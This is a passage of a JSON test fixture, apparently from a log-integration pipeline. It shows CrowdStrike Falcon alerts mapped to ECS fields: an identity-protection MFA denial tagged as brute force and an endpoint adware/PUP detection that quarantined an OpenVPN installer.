"aggind:4444934rf3fdb64ec2059dmmb96e:5876E98M-F91K-48AW-8FFC-1191C663A1E9", + "alert_attributes": 0, + "cid": "4446934rf3fdb64ec3056ddfb96e", + "composite_id": "874594c2ff8c23fdf64ef3086ddfb03e:ind:4441934rf3mmb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9", + "context_timestamp": "2024-08-19T18:43:44.242Z", + "crawled_timestamp": "2024-08-19T18:49:02.798Z", + "created_timestamp": "2024-08-19T18:45:02.987Z", + "data_domains": [ + "Identity" + ], + "description": "Auserdeniedapolicyidentityverificationrequest", + "display_name": "Identityverificationdenied", + "end_time": "2024-08-19T18:43:44.242Z", + "falcon_host_link": "https://falcon.crowdstrike.com/identity-protection/detections/4446934rf3fdb64ec3056ddfb96e:ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9?_cid=g0300034lfy3zjobdz7ewb4xjqyjsy5a", + "id": "ind:4446934rf3fdb64ec3056ddfb96e:87934F-M00B-48CC-0AAC-dfafd3429", + "idp_policy": { + "mfa_factor_type": 42669, + "mfa_provider": 11, + "rule_id": "123324-343-4dfa9E0-8F85-dfaa3242", + "rule_name": "admin-RDPAccesstoTIER-0Servers" + }, + "ldap_search_query_attack": 16, + "location_country_code": "US", + "location_latitude_as_int": 320316, + "location_longitude_as_int": -12729080, + "model_anomaly_indicators": [ + "ACCOUNT_IMPOSSIBLE_VELOCITY", + "ENVIRONMENT_UNUSUAL_IP", + "ENVIRONMENT_UNUSUAL_ISP_DOMAIN", + "ISP_DATACENTER_CLASSIFICATION" + ], + "name": "IdpPolicyIdentityVerificationDenied", + "objective": "GainAccess", + "pattern_id": "45897", + "poly_id": "MJdfafdB3RpTC74xD_bZOwwVt37erewrewdWwicqVJrn1DHb_UVfrn1QTiE4zCVgvIYhKPq8wZOGu5S3BVMzfSm_y5pv8n9CypfRuw==", + "product": "idp", + "protocol_anomaly_classification": 1, + "scenario": "suspicious_activity", + "seconds_to_resolved": 0, + "seconds_to_triaged": 0, + "severity": 79, + "severity_name": "Medium", + "show_in_ui": true, + "source": { + "account_azure_id": "65ddx-c454-324d-9034-Fdf34353", + "account_domain": "BCD.example.com", + "account_name": "admin.example", + "account_object_guid": "78HF9842-HGG5-324F-9565-GJD47324", + "account_object_sid": "S-14-5424-21-dfaf3-234343-3434-1117733", + "account_sam_account_name": "admin.abcdef", + "account_upn": "admin.abcdef@example.com", + "endpoint_account_object_guid": "FDHJJ343-098C-4629-9437-DD3424GHJ", + "endpoint_account_object_sid": "S-1-4-21-111111111-2222222-14171121333-1045999", + "endpoint_address_ip4": "81.2.69.144", + "endpoint_host_name": "ABDC454.net.example.com", + "endpoint_ip_address": "81.2.69.144", + "endpoint_ip_reputation": 118, + "endpoint_sensor_id": "38293523261gh48c99ffd234c6190123536e", + "ip_isp_classification": 8, + "ip_isp_domain": "abc.com" + }, + "source_products": [ + "FalconIdentityProtection" + ], + "source_vendors": [ + "CrowdStrike" + ], + "start_time": "2024-08-19T18:43:44.242Z", + "status": "new", + "tactic": "CredentialAccess", + "tactic_id": "TA0006", + "tags": [ + "falcon_complete" + ], + "target": { + "account_name": "HFJFJFFFFFFF$", + "domain_controller_host_name": "GHPOTAL12578", + "domain_controller_object_guid": "59B24AA7-4GH8-f7H0-994F-B90159E7M2K1", + "domain_controller_object_sid": "S-2-8-21-333333-2222222-3431-95511", + "endpoint_account_object_guid": "AAAAAAAA-0000-FFFFF-000000-A302EFCC8M4536", + "endpoint_account_object_sid": "S-1-5-21-HG43242JJ-1844237615-18dfa1674531-298236", + "endpoint_host_name": "GH787.abc.example.com", + "endpoint_sensor_id": "afdsasf3423432nndv3432v", + "service_access_identifier": "HOST/root.demo.com" + }, + "technique": "BruteForce", + "technique_id": "T1110", + "timestamp": "2024-08-19T18:44:01.100Z", + "type": "idp-user-endpoint-app-info", + "updated_timestamp": "2024-08-19T18:49:02.798Z", + "user_name": "admin.abcdef" + } + }, + "destination": { + "domain": "GH787.abc.example.com", + "user": { + "domain": "GHPOTAL12578", + "name": "HFJFJFFFFFFF$" + } + }, + "ecs": { + "version": "8.17.0" + }, + "event": { + "end": "2024-08-19T18:43:44.242Z", + "id": "ind:4446934rf3fdb64ec3056ddfb96e:87934F-M00B-48CC-0AAC-dfafd3429", + "kind": "alert", + "original": "{\"aggregate_id\":\"aggind:4444934rf3fdb64ec2059dmmb96e:5876E98M-F91K-48AW-8FFC-1191C663A1E9\",\"agent_id\":\"58293534772e48c99f33c61631b3536d\",\"cid\":\"4446934rf3fdb64ec3056ddfb96e\",\"context_timestamp\":\"2024-08-19T18:43:44.242Z\",\"composite_id\":\"874594c2ff8c23fdf64ef3086ddfb03e:ind:4441934rf3mmb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9\",\"crawled_timestamp\":\"2024-08-19T18:49:02.798354466Z\",\"created_timestamp\":\"2024-08-19T18:45:02.987127397Z\",\"data_domains\":[\"Identity\"],\"description\":\"Auserdeniedapolicyidentityverificationrequest\",\"display_name\":\"Identityverificationdenied\",\"end_time\":\"2024-08-19T18:43:44.242Z\",\"falcon_host_link\":\"https://falcon.crowdstrike.com/identity-protection/detections/4446934rf3fdb64ec3056ddfb96e:ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9?_cid=g0300034lfy3zjobdz7ewb4xjqyjsy5a\",\"id\":\"ind:4446934rf3fdb64ec3056ddfb96e:87934F-M00B-48CC-0AAC-dfafd3429\",\"idp_policy_mfa_factor_type\":\"42669\",\"idp_policy_mfa_provider\":\"11\",\"idp_policy_rule_id\":\"123324-343-4dfa9E0-8F85-dfaa3242\",\"idp_policy_rule_name\":\"admin-RDPAccesstoTIER-0Servers\",\"name\":\"IdpPolicyIdentityVerificationDenied\",\"objective\":\"GainAccess\",\"pattern_id\":45897,\"poly_id\":\"MJdfafdB3RpTC74xD_bZOwwVt37erewrewdWwicqVJrn1DHb_UVfrn1QTiE4zCVgvIYhKPq8wZOGu5S3BVMzfSm_y5pv8n9CypfRuw==\",\"product\":\"idp\",\"scenario\":\"suspicious_activity\",\"seconds_to_resolved\":0,\"seconds_to_triaged\":0,\"severity\":79,\"severity_name\":\"Medium\",\"show_in_ui\":true,\"source_account_azure_id\":\"65ddx-c454-324d-9034-Fdf34353\",\"source_account_domain\":\"BCD.example.com\",\"source_account_name\":\"admin.example\",\"source_account_object_sid\":\"S-14-5424-21-dfaf3-234343-3434-1117733\",\"source_account_sam_account_name\":\"admin.abcdef\",\"source_account_upn\":\"admin.abcdef@example.com\",\"source_endpoint_account_object_guid\":\"FDHJJ343-098C-4629-9437-DD3424GHJ\",\"source_endpoint_address_ip4\":\"81.2.69.144\",\"source_endpoint_host_name\":\"ABDC454.net.example.com\",\"source_endpoint_ip_address\":\"81.2.69.144\",\"source_endpoint_sensor_id\":\"38293523261gh48c99ffd234c6190123536e\",\"source_products\":[\"FalconIdentityProtection\"],\"source_vendors\":[\"CrowdStrike\"],\"start_time\":\"2024-08-19T18:43:44.242Z\",\"status\":\"new\",\"tactic\":\"CredentialAccess\",\"tactic_id\":\"TA0006\",\"technique\":\"BruteForce\",\"technique_id\":\"T1110\",\"tags\":[\"falcon_complete\"],\"target_account_name\":\"HFJFJFFFFFFF$\",\"target_endpoint_account_object_guid\":\"AAAAAAAA-0000-FFFFF-000000-A302EFCC8M4536\",\"target_endpoint_account_object_sid\":\"S-1-5-21-HG43242JJ-1844237615-18dfa1674531-298236\",\"target_endpoint_host_name\":\"GH787.abc.example.com\",\"target_endpoint_sensor_id\":\"afdsasf3423432nndv3432v\",\"timestamp\":\"2024-08-19T18:44:01.1Z\",\"type\":\"idp-user-endpoint-app-info\",\"updated_timestamp\":\"2024-08-19T18:49:02.798344752Z\",\"user_name\":\"admin.abcdef\",\"activity_browser\":\"Edge126.0.0\",\"activity_device\":\"LAPTOP-ADFVEJM234V\",\"activity_os\":\"Windows\",\"active_directory_authentication_method\":\"4\",\"activity_id\":\"3A7H7C00-FFF2344-23FFFF-9199905-91245754E10099D\",\"alert_attributes\":\"0\",\"location_country_code\":\"US\",\"location_latitude_as_int\":320316,\"location_longitude_as_int\":-12729080,\"model_anomaly_indicators\":[\"ACCOUNT_IMPOSSIBLE_VELOCITY\",\"ENVIRONMENT_UNUSUAL_IP\",\"ENVIRONMENT_UNUSUAL_ISP_DOMAIN\",\"ISP_DATACENTER_CLASSIFICATION\"],\"ldap_search_query_attack\":\"16\",\"protocol_anomaly_classification\":\"1\",\"source_account_object_guid\":\"78HF9842-HGG5-324F-9565-GJD47324\",\"source_endpoint_account_object_sid\":\"S-1-4-21-111111111-2222222-14171121333-1045999\",\"source_endpoint_ip_reputation\":\"118\",\"source_ip_isp_classification\":\"8\",\"source_ip_isp_domain\":\"abc.com\",\"target_domain_controller_host_name\":\"GHPOTAL12578\",\"target_domain_controller_object_guid\":\"59B24AA7-4GH8-f7H0-994F-B90159E7M2K1\",\"target_domain_controller_object_sid\":\"S-2-8-21-333333-2222222-3431-95511\",\"target_service_access_identifier\":\"HOST/root.demo.com\"}", + "severity": 47, + "start": "2024-08-19T18:43:44.242Z" + }, + "host": { + "id": "58293534772e48c99f33c61631b3536d" + }, + "message": "Auserdeniedapolicyidentityverificationrequest", + "observer": { + "geo": { + "country_iso_code": "US", + "location": { + "lat": 320316, + "lon": -12729080 + } + } + }, + "related": { + "hosts": [ + "BCD.example.com", + "ABDC454.net.example.com", + "GH787.abc.example.com", + "GHPOTAL12578" + ], + "ip": [ + "81.2.69.144" + ], + "user": [ + "admin.example", + "admin.abcdef@example.com", + "HFJFJFFFFFFF$", + "admin.abcdef" + ] + }, + "rule": { + "id": "123324-343-4dfa9E0-8F85-dfaa3242", + "name": "admin-RDPAccesstoTIER-0Servers" + }, + "source": { + "domain": "ABDC454.net.example.com", + "ip": "81.2.69.144", + "user": { + "domain": "BCD.example.com", + "name": "admin.example" + } + }, + "tags": [ + "preserve_original_event", + "preserve_duplicate_custom_fields", + "falcon_complete" + ], + "threat": { + "framework": "MITRE ATT&CK", + "tactic": { + "id": [ + "TA0006" + ], + "name": [ + "CredentialAccess" + ] + }, + "technique": { + "id": [ + "T1110" + ], + "name": [ + "BruteForce" + ] + } + }, + "user": { + "name": "admin.abcdef" + } + }, + { + "@timestamp": "2023-11-03T18:00:22.328Z", + "crowdstrike": { + "alert": { + "agent_id": "2ce412d17b334ad4adc8c1c54dbfec4b", + "aggregate_id": "aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778", + "alleged_filetype": "exe", + "cid": "92012896127c4a948236ba7601b886b0", + "cloud_indicator": false, + "cmdline": "\"C:\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\"", + "composite_id": "92012896127c4a8236ba7601b886b0:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600", + "confidence": 10, + "context_timestamp": "2023-11-03T18:00:31.000Z", + "control_graph_id": "ctg:2ce4127b334ad4adc8c1c54dbfec4b:163208931778", + "crawl_edge_ids": { + "Sensor": [ + "KZcZ=__;K&cmqQ]Z=W,QK4W.9(rBfs\\gfmjTblqI^F-_oNnAWQ&-o0:dR/>>2JIVMD36[+=kiQDRm.bB?;d\"V0JaQlaltC59Iq6nM?6`>ZAs+LbOJ9p9A;9'WV9^H3XEMs8N", + "KZcZA__;?\"cmott@m_k)MSZ^+C?.cg92t[f!>*b9WLY@H!V0N,BJsNSTD:?/+fY';ea%iM\"__\"59K'R?_=`'`rK/'hA\"r+L5i-*Ut5PI!!*'!", + "N6CUF__;K!d$:[C93.?=/5(`5KnM]!L#UbnSY5HOHc#[6A&FE;(naXB4h/OG\"%MDAR=fo41Z]rXc\"J-\\&&V8UW.?I6V*G+,))Ztu_IuCMV#ZJ:QDJ_EjQmjiX#HENY'WD0rVAV$Gl6_+0e:2$8D)):.LUs+8-S$L!!!$!rr", + "N6CUF__;K!d$:\\N43JV0AO56@6D0$!na(s)d.dQ'iI1*uiKt#j?r\"X'\\AtNML2_C__7ic6,8Dc[F<0NTUGtl%HD#?/Y)t8!1X.;G!*FQ9GP-ukQn`6I##&$^81(P+hN*-#rf/cUs)Wb\"<_/?I'[##WMh'H[Rcl+!!<<'", + "N6L[G__;K!d\"qhT7k?[D\"Bk:5s%+=>#DM0j$_44ZjO9q*d!YLuHhkq!3>3tpi>OPYZp9]5f1#/AlRZL06`/I6cl\"d.&=To@9kS!prs8N" + ] + }, + "crawl_vertex_ids": { + "Sensor": [ + "aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778", + "ctg:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778", + "ind:2ce412d17b34ad4adc8c1c54dbfec4b:399748687993-5761-42627600", + "mod:2ce412d17b4ad4adc8c1c54dbfec4b:0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4", + "mod:2ce412d17b4ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", + "mod:2ce412d17b334ad4adc8c1c54dbfec4b:caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33", + "pid:2ce412d17b33d4adc8c1c54dbfec4b:392734873135", + "pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876", + "pid:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993", + "quf:2ce412d17b334ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", + "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425" + ] + }, + "crawled_timestamp": "2023-11-03T19:00:23.985Z", + "created_timestamp": "2023-11-03T18:01:23.995Z", + "data_domains": [ + "Endpoint" + ], + "description": "ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.", + "device": { + "agent_load_flags": 0, + "agent_local_time": "2023-10-12T03:45:57.753Z", + "agent_version": "7.04.17605.0", + "bios_manufacturer": "ABC", + "bios_version": "F8CN42WW(V2.05)", + "cid": "92012896127c4a948236ba7601b886b0", + "config_id_base": "65994763", + "config_id_build": "17605", + "config_id_platform": 3, + "external_ip": "81.2.69.142", + "first_seen": "2023-04-07T09:36:36.000Z", + "groups": [ + "18704e21288243b58e4c76266d38caaf" + ], + "hostinfo": { + "active_directory_dn_display": [ + "WinComputers", + "WinComputers\\ABC" + ], + "domain": "ABC.LOCAL" + }, + "hostname": "ABC709-1175", + "id": "2ce412d17b334ad4adc8c1c54dbfec4b", + "last_seen": "2023-11-03T17:51:42.000Z", + "local_ip": "81.2.69.142", + "mac_address": "AB-21-48-61-05-B2", + "machine_domain": "ABC.LOCAL", + "major_version": "10", + "minor_version": "0", + "modified_timestamp": "2023-11-03T17:53:43.000Z", + "os_version": "Windows11", + "ou": [ + "ABC", + "WinComputers" + ], + "platform_id": "0", + "platform_name": "Windows", + "product_type": "1", + "product_type_desc": "Workstation", + "site_name": "Default-First-Site-Name", + "status": "normal", + "system_manufacturer": "LENOVO", + "system_product_name": "20VE" + }, + "falcon_host_link": "https://falcon.us-2.crowdstrike.com/activity-v2/detections/dhjffg:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600", + "filename": "openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", + "filepath": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", + "grandparent_details": { + "cmdline": "C:\\Windows\\system32\\userinit.exe", + "filename": "userinit.exe", + "filepath": "\\Device\\HarddiskVolume3\\Windows\\System32\\userinit.exe", + "local_process_id": "4328", + "md5": "b07f77fd3f9828b2c9d61f8a36609741", + "process_graph_id": "pid:2ce412d17b334ad4adc8c1c54dbfec4b:392734873135", + "process_id": "392734873135", + "sha256": "caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33", + "timestamp": "2023-10-30T16:49:19.000Z", + "user_graph_id": "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425", + "user_id": "S-1-5-21-1909377054-3469629671-4104191496-4425", + "user_name": "yuvraj.mahajan" + }, + "has_script_or_module_ioc": true, + "id": "ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600", + "indicator_id": "ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600", + "ioc_context": [ + { + "ioc_description": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", + "ioc_source": "library_load", + "ioc_type": "hash_sha256", + "ioc_value": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", + "md5": "cdf9cfebb400ce89d5b6032bfcdc693b", + "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", + "type": "module" + } + ], + "ioc_values": [ + "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd" + ], + "is_synthetic_quarantine_disposition": true, + "local_process_id": "17076", + "logon_domain": "ABSYS", + "md5": "cdf9cfebb400ce89d5b6032bfcdc693b", + "name": "PrewittPupAdwareSensorDetect-Lowest", + "objective": "FalconDetectionMethod", + "parent_details": { + "cmdline": "C:\\WINDOWS\\Explorer.EXE", + "filename": "explorer.exe", + "filepath": "\\Device\\HarddiskVolume3\\Windows\\explorer.exe", + "local_process_id": "1040", + "md5": "8cc3fcdd7d52d2d5221303c213e044ae", + "process_graph_id": "pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876", + "process_id": "392736520876", + "sha256": "0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4", + "timestamp": "2023-11-03T18:00:32.000Z", + "user_graph_id": "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425", + "user_id": "S-1-5-21-1909377054-3469629671-4104191496-4425", + "user_name": "mohit.jha" + }, + "parent_process_id": "392736520876", + "pattern_disposition": 2176, + "pattern_disposition_description": "Prevention/Quarantine,processwasblockedfromexecutionandquarantinewasattempted.", + "pattern_disposition_details": { + "blocking_unsupported_or_disabled": false, + "bootup_safeguard_enabled": false, + "critical_process_disabled": false, + "detect": false, + "fs_operation_blocked": false, + "handle_operation_downgraded": false, + "inddet_mask": false, + "indicator": false, + "kill_action_failed": false, + "kill_parent": false, + "kill_process": false, + "kill_subprocess": false, + "operation_blocked": false, + "policy_disabled": false, + "process_blocked": true, + "quarantine_file": true, + "quarantine_machine": false, + "registry_operation_blocked": false, + "rooting": false, + "sensor_only": false, + "suspend_parent": false, + "suspend_process": false + }, + "pattern_id": "5761", + "platform": "Windows", + "poly_id": "AACSASiWEnxKlIIaw8LWC-8XINBatE2uYZaWqRAAATiEEfPFwhoY4opnh1CQjm0tvUQp4Lu5eOAx29ZVj-qrGrA==", + "process_end_time": "2023-11-03T18:00:21.000Z", + "process_id": "399748687993", + "process_start_time": "2023-11-03T18:00:13.000Z", + "product": "epp", + "quarantined_files": [ + { + "filename": "\\Device\\Volume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", + "id": "2ce412d17b334ad4adc8c1c54dbfec4b_b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", + "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", + "state": "quarantined" + } + ], + "scenario": "NGAV", + "severity": 30, + "severity_name": "low", + "sha1": "0000000000000000000000000000000000000000", + "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", + "show_in_ui": true, + "source_products": [ + "FalconInsight" + ], + "source_vendors": [ + "CrowdStrike" + ], + "status": "new", + "tactic": "MachineLearning", + "tactic_id": "CSTA0004", + "technique": "Adware/PUP", + "technique_id": "CST0000", + "timestamp": "2023-11-03T18:00:22.328Z", + "tree_id": "1931778", + "tree_root": "38687993", + "triggering_process_graph_id": "pid:2ce4124ad4adc8c1c54dbfec4b:399748687993", + "type": "ldt", + "updated_timestamp": "2023-11-03T19:00:23.985Z", + "user_id": "S-1-5-21-1909377054-3469629671-4104191496-4425", + "user_name": "mohit.jha" + } + }, + "device": { + "id": "2ce412d17b334ad4adc8c1c54dbfec4b", + "manufacturer": "LENOVO", + "model": { + "name": "20VE" + } + }, + "ecs": { + "version": "8.17.0" + }, + "event": { + "category": [ + "process" + ], + "id": "ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600", + "kind": "alert", + "original": "{\"agent_id\":\"2ce412d17b334ad4adc8c1c54dbfec4b\",\"aggregate_id\":\"aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778\",\"alleged_filetype\":\"exe\",\"cid\":\"92012896127c4a948236ba7601b886b0\",\"cloud_indicator\":\"false\",\"cmdline\":\"\\\"C:\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\\\"\",\"composite_id\":\"92012896127c4a8236ba7601b886b0:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"confidence\":10,\"context_timestamp\":\"2023-11-03T18:00:31Z\",\"control_graph_id\":\"ctg:2ce4127b334ad4adc8c1c54dbfec4b:163208931778\",\"crawl_edge_ids\":{\"Sensor\":[\"KZcZ=__;K&cmqQ]Z=W,QK4W.9(rBfs\\\\gfmjTblqI^F-_oNnAWQ&-o0:dR/>>2JIVMD36[+=kiQDRm.bB?;d\\\"V0JaQlaltC59Iq6nM?6`>ZAs+LbOJ9p9A;9'WV9^H3XEMs8N\",\"KZcZA__;?\\\"cmott@m_k)MSZ^+C?.cg92t[f!>*b9WLY@H!V0N,BJsNSTD:?/+fY';ea%iM\\\"__\\\"59K'R?_=`'`rK/'hA\\\"r+L5i-*Ut5PI!!*'!\",\"N6CUF__;K!d$:[C93.?=/5(`5KnM]!L#UbnSY5HOHc#[6A&FE;(naXB4h/OG\\\"%MDAR=fo41Z]rXc\\\"J-\\\\&&V8UW.?I6V*G+,))Ztu_IuCMV#ZJ:QDJ_EjQmjiX#HENY'WD0rVAV$Gl6_+0e:2$8D)):.LUs+8-S$L!!!$!rr\",\"N6CUF__;K!d$:\\\\N43JV0AO56@6D0$!na(s)d.dQ'iI1*uiKt#j?r\\\"X'\\\\AtNML2_C__7ic6,8Dc[F<0NTUGtl%HD#?/Y)t8!1X.;G!*FQ9GP-ukQn`6I##&$^81(P+hN*-#rf/cUs)Wb\\\"<_/?I'[##WMh'H[Rcl+!!<<'\",\"N6L[G__;K!d\\\"qhT7k?[D\\\"Bk:5s%+=>#DM0j$_44ZjO9q*d!YLuHhkq!3>3tpi>OPYZp9]5f1#/AlRZL06`/I6cl\\\"d.&=To@9kS!prs8N\"]},\"crawl_vertex_ids\":{\"Sensor\":[\"aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778\",\"ctg:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778\",\"ind:2ce412d17b34ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"mod:2ce412d17b4ad4adc8c1c54dbfec4b:0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4\",\"mod:2ce412d17b4ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"mod:2ce412d17b334ad4adc8c1c54dbfec4b:caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33\",\"pid:2ce412d17b33d4adc8c1c54dbfec4b:392734873135\",\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876\",\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993\",\"quf:2ce412d17b334ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425\"]},\"crawled_timestamp\":\"2023-11-03T19:00:23.985020992Z\",\"created_timestamp\":\"2023-11-03T18:01:23.995794943Z\",\"data_domains\":[\"Endpoint\"],\"description\":\"ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.\",\"device\":{\"agent_load_flags\":\"0\",\"agent_local_time\":\"2023-10-12T03:45:57.753Z\",\"agent_version\":\"7.04.17605.0\",\"bios_manufacturer\":\"ABC\",\"bios_version\":\"F8CN42WW(V2.05)\",\"cid\":\"92012896127c4a948236ba7601b886b0\",\"config_id_base\":\"65994763\",\"config_id_build\":\"17605\",\"config_id_platform\":\"3\",\"device_id\":\"2ce412d17b334ad4adc8c1c54dbfec4b\",\"external_ip\":\"81.2.69.142\",\"first_seen\":\"2023-04-07T09:36:36Z\",\"groups\":[\"18704e21288243b58e4c76266d38caaf\"],\"hostinfo\":{\"active_directory_dn_display\":[\"WinComputers\",\"WinComputers\\\\ABC\"],\"domain\":\"ABC.LOCAL\"},\"hostname\":\"ABC709-1175\",\"last_seen\":\"2023-11-03T17:51:42Z\",\"local_ip\":\"81.2.69.142\",\"mac_address\":\"ab-21-48-61-05-b2\",\"machine_domain\":\"ABC.LOCAL\",\"major_version\":\"10\",\"minor_version\":\"0\",\"modified_timestamp\":\"2023-11-03T17:53:43Z\",\"os_version\":\"Windows11\",\"ou\":[\"ABC\",\"WinComputers\"],\"platform_id\":\"0\",\"platform_name\":\"Windows\",\"pod_labels\":null,\"product_type\":\"1\",\"product_type_desc\":\"Workstation\",\"site_name\":\"Default-First-Site-Name\",\"status\":\"normal\",\"system_manufacturer\":\"LENOVO\",\"system_product_name\":\"20VE\"},\"falcon_host_link\":\"https://falcon.us-2.crowdstrike.com/activity-v2/detections/dhjffg:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"filename\":\"openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume3\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"grandparent_details\":{\"cmdline\":\"C:\\\\Windows\\\\system32\\\\userinit.exe\",\"filename\":\"userinit.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\System32\\\\userinit.exe\",\"local_process_id\":\"4328\",\"md5\":\"b07f77fd3f9828b2c9d61f8a36609741\",\"process_graph_id\":\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392734873135\",\"process_id\":\"392734873135\",\"sha256\":\"caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33\",\"timestamp\":\"2023-10-30T16:49:19Z\",\"user_graph_id\":\"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_id\":\"S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_name\":\"yuvraj.mahajan\"},\"id\":\"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"indicator_id\":\"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"ioc_context\":[{\"ioc_description\":\"\\\\Device\\\\HarddiskVolume3\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"ioc_source\":\"library_load\",\"ioc_type\":\"hash_sha256\",\"ioc_value\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"md5\":\"cdf9cfebb400ce89d5b6032bfcdc693b\",\"sha256\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"type\":\"module\"}],\"ioc_values\":[],\"local_process_id\":\"17076\",\"logon_domain\":\"ABSYS\",\"